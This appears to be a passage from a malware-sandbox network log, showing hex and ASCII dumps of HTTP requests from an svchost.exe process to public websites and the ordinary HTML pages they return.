2c 30 2c 30 2c 31 Data Ascii: 2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.28,17.43a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.06,11a1.62,1.62,0,0,1
2023-05-31 12:52:04 UTC	5516	IN	Data Raw: 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 63 61 73 65 2f 77 6f 72 6b 73 2f 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 68 74 6d 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6e 6e 65 72 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2e 2f 69 6d 61 67 65 73 2f 74 6f 70 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6d 61 67 65 36 2e 70 6e 67 22 20 61 6c 74 3d 22 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 63 6f 6e 74 65 6e 74 22 3e e9 9b 86 e5 90 88 e4 bd 8f e5 ae 85 3c 62 72 3e e6 b6 88 e9 98 b2 e8 a8 ad e5 82 99 e7 82 b9 Data Ascii: 4"> <a href="case/works/maintenance.html"> <div class="top-performance-inner"><img src="./images/top/performance-image6.png" alt=""> <p class="top-performance-content"><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	64698	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:59 UTC	2824	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-05-31 12:51:59 UTC	2824	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 31 May 2023 12:51:59 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-05-31 12:51:59 UTC	2825	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	64737	172.67.164.178	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:59 UTC	2824	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co
2023-05-31 12:52:01 UTC	2893	IN	HTTP/1.1 200 OK Date: Wed, 31 May 2023 12:52:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Set-Cookie: d55e479f054c94814cbc10d217aaa990=0a5ebc1449abc3425c313b4d87f9b185; path=/; HttpOnly Last-Modified: Wed, 31 May 2023 12:52:01 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=oRkCWtgfItINfMFEiV32cPLPE%2FD1YjMSBgZ98TOhlJI2Ce5sjWuTYIZ1yxWU%2BUcKJUMaMIvNm6wg7SAeF6MyXA9eMAjXZ1Qj9b55AD1OX12lV1%2FGKmpkph4krtxppQUdtZJg7%2B9YX08%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7cff59fba8f618eb-FRA alt-svc: h3=":443"; ma=86400
2023-05-31 12:52:01 UTC	2894	IN	Data Raw: 37 63 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7c4e<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-05-31 12:52:01 UTC	2894	IN	Data Raw: 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 73 74 79 6c 65 73 2f 72 6f 6b 62 6f 78 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 6f 64 75 6c 65 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f Data Ascii: okbox/assets/styles/rokbox.css" rel="stylesheet" /><link href="/modules/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/engines/
2023-05-31 12:52:01 UTC	2896	IN	Data Raw: 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f Data Ascii: 989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/system/
2023-05-31 12:52:01 UTC	2897	IN	Data Raw: 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 Data Ascii: min.js"></script> <link rel="stylesheet" href="/media/gantry5/engines/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><link
2023-05-31 12:52:01 UTC	2898	IN	Data Raw: 6e 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 Data Ascii: ng" alt="Clinica San Luis" /></a></div></div><div class="g-block size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-item
2023-05-31 12:52:01 UTC	2900	IN	Data Raw: 6e 75 70 61 72 65 6e 74 3e 3c 73 70 61 6e 3e 42 61 63 6b 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 Data Ascii: nuparent><span>Back</span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"><span class="g-menu-item-content"><span class="g-me
2023-05-31 12:52:01 UTC	2901	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 70 65 63 69 61 6c 69 64 61 64 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d Data Ascii: menu-item-title">Especialidades</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent> <span class="g-
2023-05-31 12:52:01 UTC	2902	IN	Data Raw: 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 Data Ascii: ><span class="g-menu-item-content"><span class="g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" href="/index.php/nuestra-clini
2023-05-31 12:52:01 UTC	2904	IN	Data Raw: 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 65 20 67 2d 66 61 64 65 20 67 2d 64 72 6f 70 64 6f 77 6e 2d 72 69 67 68 74 22 3e 0a 3c 6c 69 20 63 Data Ascii: -clinica/nuestros-pacientes"><span class="g-menu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent></span> </a><ul class="g-dropdown g-inactive g-fade g-dropdown-right"><li c
2023-05-31 12:52:01 UTC	2905	IN	Data Raw: 2d 69 74 65 6d 2d 33 39 36 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 64 75 63 61 63 69 c3 b3 6e 20 79 20 70 72 6f 6d 6f 63 69 c3 b3 6e 20 70 61 72 61 20 6c 61 20 64 6f 6e 61 63 Data Ascii: -item-396 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">Educacin y promocin para la donac
2023-05-31 12:52:01 UTC	2906	IN	Data Raw: 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 49 6e 64 69 63 61 64 6f 72 65 73 3c 2f 73 70 61 6e 3e 0a 3c Data Ascii: /span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-menu-item-title">Indicadores</span><
2023-05-31 12:52:01 UTC	2908	IN	Data Raw: 6f 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 44 69 72 65 63 74 6f 72 69 6f 3c 2f 73 70 61 6e 3e Data Ascii: os</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span class="g-menu-item-title">Directorio</span>
2023-05-31 12:52:01 UTC	2909	IN	Data Raw: 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d Data Ascii: omponent g-menu-item-385 "><a class="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></div></div></li></ul></li><li class="g-
2023-05-31 12:52:01 UTC	2910	IN	Data Raw: 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 3b 0d 0a 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 73 6b 69 6e 33 37 39 7b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 Data Ascii: ><div class="moduletable "><style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity: ;}#gafancybox-skin379{background: rgba(255
2023-05-31 12:52:01 UTC	2912	IN	Data Raw: 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 45 66 66 65 63 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 09 09 74 70 6c 3a 20 7b 0d 0a 09 09 09 09 6f 76 65 72 6c 61 79 20 20 3a 20 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 Data Ascii: closeEffect: 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,tpl: {overlay : '<div class="g
2023-05-31 12:52:01 UTC	2913	IN	Data Raw: 29 7b 0d 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 62 6c 6f 67 22 20 74 61 72 Data Ascii: ){ document.getElementById(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index.php/nuestra-clinica/nuestros-pacientes/blog" tar
